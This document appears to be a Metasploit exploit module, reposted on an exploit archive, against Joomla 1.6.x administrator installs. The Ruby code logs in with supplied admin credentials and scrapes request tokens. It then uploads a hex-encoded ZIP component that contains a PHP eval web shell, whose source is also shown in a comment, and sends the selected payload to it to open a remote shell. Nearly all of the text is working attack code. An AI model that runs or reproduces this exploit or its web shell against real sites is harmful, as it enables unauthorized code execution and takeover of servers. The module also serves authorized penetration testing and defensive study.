Joomla 1.6.x Administrator PHP Code Execution



EKU-ID: 388 CVE: OSVDB-ID:
Author: James Bercegay Published: 2011-06-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Exploit::Remote

	# Includes
	include Msf::Exploit::Remote::HttpClient

	# Initialize module
	def initialize(info = {})
	
		# Initialize information
		super(update_info(info,
			'Name'           => 'Joomla 1.6.* Administrator PHP Code Execution',
			'Description'    => %q{
			This module can be used to gain a remote shell to a Joomla! 1.6.* install when
			administrator credentials are known. This is acheived by uploading a malicious
			component which is used to execute the selected payload.
			},
			'Author'         => 
				[ 
					'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
				],
			'License'        =>  MSF_LICENSE,
			'Privileged'     =>  false,
			'Platform'       => 'php',
			'Arch'           =>  ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget'  => 0 ))

			register_options(
				[
					# Required
					OptString.new('JDIR', [true, 'Joomla directory', '/']),
					OptString.new('JUSR', [true, 'Joomla admin username', nil]),
					OptString.new('JPWD', [true, 'Joomla admin password', nil]),

					# Optional
					OptBool.new(  'DBUG', [false, 'Verbose output? (Debug)' ,  nil ]),
					OptString.new('AGNT', [false, 'User Agent Info'         , 'Mozilla/5.0' ]),
				], self.class)
	end
	#################################################
	
	# Extract "Set-Cookie"
	def init_cookie(data, cstr = true)
	
		# Raw request? Or cookie data specifically?
		data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

		# Beginning
		if ( data )
			
			# Break them apart
			data = data.split(', ')
			
			# Initialize
			ctmp = ''
			tmps = {}
			
			# Parse cookies
			data.each do | x |
			
				# Remove extra data
				x = x.split(';')[0]
			
				# Seperate cookie pairs
				if ( x =~ /([^;\s]+)=([^;\s]+)/im )
				
					# Key
					k = $1
					
					# Val
					v = $2
				
					# Valid cookie value?
					if ( v.length() > 0 )
					
						# Build cookie hash
						tmps[k] = v
						
						# Report cookie status
						print_status("Got Cookie: #{k} => #{v}");
					end
				end
			end
			
			# Build string data
			if ( cstr == true )
				
				# Loop
				tmps.each do |x,y| 
				
					# Cookie key/value
					ctmp << "#{x}=#{y};" 
				end
				
				# Assign
				tmps['cstr'] = ctmp
			end
			
			# Return
			return tmps
		else
			# Something may be wrong
			init_debug("No cookies within the given response")
		end
	end
	
    #################################################
	
	# Simple debugging output
	def init_debug(resp, exit = 0)
	
		# is DBUG set? Check it
		if ( datastore['DBUG'] )
		
			# Print debugging data
			print_status("######### DEBUG! ########")
			pp resp
			print_status("#########################")
		end
		
		# Continue execution
		if ( exit.to_i > 0 )
		
			# Exit
			exit(0)
		end
		
	end
	
	#################################################
	
	# Generic post wrapper
	def http_post(url, data, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "application/x-www-form-urlencoded"
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout	)
				
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic post multipart wrapper	
	def http_post_multipart(url, data, headers = {}, timeout = 15)
		
		# Boundary string
		bndr =  Rex::Text.rand_text_alphanumeric(8)
		
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Init
		temp = ''
		
		# Parse form values
		data.each do |name, value|
		
			# Hash means file data
			if ( value.is_a?(Hash) )

				# Validate form fields
				filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
				contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
				mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
				encoding = value['encoding'] ? value['encoding']: "Binary"

				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
				temp << "Content-Type: #{mimetype}\r\n"
				temp << "Content-Transfer-Encoding: #{encoding}\r\n"
				temp << "\r\n"
				temp << "#{contents}\r\n"
				
			else
				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
				temp << "\r\n"
				temp << "#{value}\r\n"
			end
		end
		
		# Complete the form data
		temp << "--#{bndr}--\r\n"
		
		# Assigned
		data = temp	
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout)
		
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic get wrapper
	def http_get(url, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']

		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value // Also, remove post specific data, due to a bug ...
			if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
			
				# Delete header key
				headers.delete(hkey)
			end
		end
		
		# Send request
		resp = send_request_raw({
			'uri'     => datastore['JDIR'] + url,
			'headers' => headers,
			'method'  => 'GET',
		}, timeout)
		
		# Returned
		return resp
		
	end
	#################################################	
	
	def check
	
		# Banner grab request
		resp = http_get("index.php")

		# Extract Joomla version information
		if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )

			# Version
			vers = $1.strip 

			# Version "parts"
			ver1, ver2, ver3 = vers.split(/\./)

			# Only if 1.6.0 aka 1.6
			if ( ver2.to_i != 6 )

				# Safe
				print_error("Only compatible with the Joomla 1.6 branch")
				return Exploit::CheckCode::Safe
			else

				# Vulnerable
				return Exploit::CheckCode::Vulnerable
			end
		else
		
			# Verbose
			print_error("Unable to determine Joomla version ...")
			return Exploit::CheckCode::Safe
		end
	end
	
	#################################################
	
	def exploit

		# Numeric test string
		tstr = Time.now.to_i.to_s

		# MD5 test string
		tmd5 = Rex::Text.md5(tstr)

		# Encoded payload
		load = payload.encoded
		
		# Credentials
		user = datastore['JUSR']
		pass = datastore['JPWD']
					
		# Verbose				
		print_status("Attempting to extract a valid request token")
		
		# Request a valid token
		resp = http_get("administrator/index.php")
		
		# Extract token
		if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
		
			# Token
			rtok = $1
			
			# Verbose
			print_status("Got token: #{rtok}")
		else
		
			# Failure
			print_error("Unable to extract request token. Exploit failed!")
			init_debug(resp)
			return
		end
		
		# Init cookie
		cook = init_cookie(resp)
		
		# Build headers for authenticated session
		hdrs = { "Cookie" => cook['cstr'] }
		
		# Verbose
		print_status("Attempting to login as: #{user}")				
		
		# Post data for login request
		post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"
		
		# Login request
		resp = http_post("administrator/index.php", post, hdrs)
		
		# Authentication successful???
		if ( resp && resp.code == 303 )
		
			# Success
			print_status("Successfully logged in as: #{user}")			
		else
		
			# Failure
			print_error("Unable to authenticate. Exploit failed!")
			init_debug(resp)
			return
		end		
			
		# Verbose				
		print_status("Attempting to extract refreshed request token")
		
		# Request a valid token (again)
		resp =  http_get("administrator/index.php?option=com_installer", hdrs)		
		
		# Extract token
		if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
		
			# Token
			rtok = $1
			
			# Verbose
			print_status("Got token: #{rtok}")
		else
		
			# Failure
			print_error("Unable to extract request token. Exploit failed!")
			init_debug(resp.body)
			return
		end
		
		# Component specific data
		cstr = "joomla"
		czip = "com_#{cstr}.zip"
		curi = "components/com_#{cstr}/#{cstr}.php"				

		#################################################
		# Our Joomla specific PHP payload wrapper that is
		# used to have more flexibility when delivering a
		# selected payload to a target. The wrapper is in 
		# the Joomla! 1.6 compononent format and can also 
		# be used with other Joomla exploits.
		#################################################
		#
		# Type: Joomla 1.6 Component
		# File: com_joomla/joomla.xml <-- installer file
		#       com_joomla/joomla.php <-- component file
		#
		# Data: <?php
		#       # Modify settings
		#       error_reporting(0);
		#       ini_set('max_execution_time', 0);
		#
		#       # Execute the selected payload, and delete the wrapper
		#       @eval(base64_decode(file_get_contents('php://input')));
		# ?>
		#################################################
		
		# Hex encoded component zip data
		wrap  = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
		wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
		wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
		wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
		wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
		wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
		wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
		wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
		wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
		wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
		wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
		wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
		wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
		wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
		wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
		wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
		wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
		wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
		wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
		wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
		wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
		wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
		wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
		wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
		wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
		wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
		wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
		wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
		wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
		wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
		wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
		wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
		wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
		wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
		wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
		wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
		wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
		wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
		wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
		wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
		wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
		wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
		wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
		wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
		wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
		wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
		wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
		wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
		wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"

		# Verbose
		print_status("Attempting to upload payload wrapper component")
		
		# Post data
		data = {
		
			# Component data
			'install_package' => 
			{ 
				'filename' =>  czip,
				'contents' =>  wrap,
				'mimetype' => 'application/zip',
				'encoding' => 'binary',
			},
			
			# Required install params
			"installtype"  => "upload",
			"task"         => "install.install",
			"#{rtok}"      => "1",
		}
		
		# Upload the wrapper component
		init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))

		# Deliver the selected payload to the target
		init_debug(http_post(curi, Rex::Text.encode_base64(load)))
		
		# Shell
		handler
	end
end